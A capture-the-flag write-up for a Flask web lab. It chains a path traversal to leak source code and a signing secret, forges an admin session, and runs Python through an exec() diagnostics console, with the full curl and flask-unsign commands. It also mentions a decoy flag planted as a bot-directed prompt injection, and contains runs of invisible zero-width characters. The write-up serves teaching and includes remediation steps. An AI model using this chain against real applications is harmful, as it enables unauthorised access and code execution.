← Back to Writeups
CUSTOMMediumWeb

Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console

XESXOR9/10/20264 min read
#web#custom#medium#authenticated_path_traversal#flask_session_forgery#python_code_execution#source_code_disclosure#linux

Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-16 | Status: Solved Techniques: authenticated_path_traversal, flask_session_forgery, python_code_execution, source_code_disclosure

Summary

Task: An authenticated Flask report download permits path traversal, exposing source code and its session-signing secret. Solution: Forge an admin session, reach an unsandboxed diagnostics exec console, and read the root flag file.

Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console — hackadvisor

Description

Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console

The application provides deployment reports to an authenticated user. The goal is to chain an arbitrary file read into administrative access and remote code execution, then retrieve the real FLAG{...} value.

The target instance was:

text
https://f7a06626-0f77-445d-b740-3592ca9f86c5.labs.hackadvisor.io/

Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

robots.txt disclosed /admin/, /api/, and /admin/diagnostics. After login, the report download endpoint accepted a user-controlled file parameter. Its base directory was /app/reports, but it did not canonicalize the requested path and verify that the result remained inside that directory.

Requesting ../app.py therefore returned /app/app.py. The source disclosed the Flask signing secret:

text
deployforge-path-traversal-rce-diagnostics-fixed-secret-2026-do-not-rotate-multi-worker-stability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The source also showed two critical implementation flaws:

  1. Administrative authorization only checked whether admin_id existed in the signed Flask session.
  2. /admin/diagnostics passed the code form parameter directly to unsandboxed Python exec() and captured standard output.

Knowing the Flask secret allowed an attacker to create a valid session containing admin_id. This converted the initial arbitrary file read into an authorization bypass and then direct Python code execution. This was not shell command injection through a host field; the backend executed Python source itself. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Impact

An ordinary authenticated user could read arbitrary server files, recover application secrets, impersonate an administrator, and execute arbitrary Python with the application's privileges. In this deployment, that access was sufficient to read /root/flag.txt.

Solution

1. Authenticate and retain the Flask session

bash
BASE='https://f7a06626-0f77-445d-b740-3592ca9f86c5.labs.hackadvisor.io'

curl -sS -c cookies.txt -b cookies.txt \
  -X POST "$BASE/login" \
  --data-urlencode 'email=user@test.com' \
  --data-urlencode 'password=password123'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Traverse from the reports directory to the application source

bash
curl -sS -b cookies.txt \
  "$BASE/api/reports/download?file=../app.py" \
  -o app.py

Because reports were resolved beneath /app/reports, ../app.py selected /app/app.py. Inspection of the returned source revealed the Flask SECRET_KEY, the weak admin_id authorization condition, and the unsafe diagnostics exec() call.

3. Forge an administrative Flask session

bash
SECRET='deployforge-path-traversal-rce-diagnostics-fixed-secret-2026-do-not-rotate-multi-worker-stability'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

FORGED=$(flask-unsign --sign \
  --cookie "{'admin_id': 1, 'admin_username': 'admin'}" \
  --secret "$SECRET")

curl -sS -b "session=$FORGED" "$BASE/admin/diagnostics"

The signed payload was accepted because Flask trusted cookies authenticated with the leaked secret, and the route only required admin_id to be present.

4. Execute Python and read the flag

bash
PAYLOAD="import os; print(open('/root/flag.txt').read() if os.path.exists('/root/flag.txt') else open('/flag.txt').read())"

curl -sS -b "session=$FORGED" \
  -X POST "$BASE/admin/diagnostics" \
  --data-urlencode "code=$PAYLOAD"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The diagnostics handler executed the payload with exec(), captured its standard output, and returned the contents of /root/flag.txt.

Decoy and Failed Paths

  • Every HTML page contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in a honeypot or prompt-injection comment. Its repeated placement in page boilerplate, bot-directed wording, and mismatch with execution-based retrieval identified it as a decoy. It is not the solution flag.
  • /.git/ and /.env both returned HTTP 404 and did not expose secrets.
  • Direct URL-normalization or admin-route bypasses were unnecessary because the leaked Flask secret enabled deterministic session forgery.
  • Shell metacharacter injection into a diagnostic host parameter was not applicable. Source review proved that the actual sink was direct Python exec(code). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Remediation

  1. Resolve requested report paths with Path.resolve() and reject any path that is not a descendant of the fixed reports directory. Prefer server-side report identifiers over client-supplied filenames.
  2. Store a high-entropy Flask secret outside source control, rotate the exposed secret immediately, and invalidate all existing sessions.
  3. Do not treat the presence of a client-side session key as sufficient authorization. Load the user server-side and enforce an explicit administrative role.
  4. Remove the diagnostics console from production. Never pass user input to exec(); implement a fixed allowlist of safe diagnostic operations in an isolated, least-privileged service.
  5. Run the web application as a dedicated unprivileged account that cannot read root-owned secrets. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍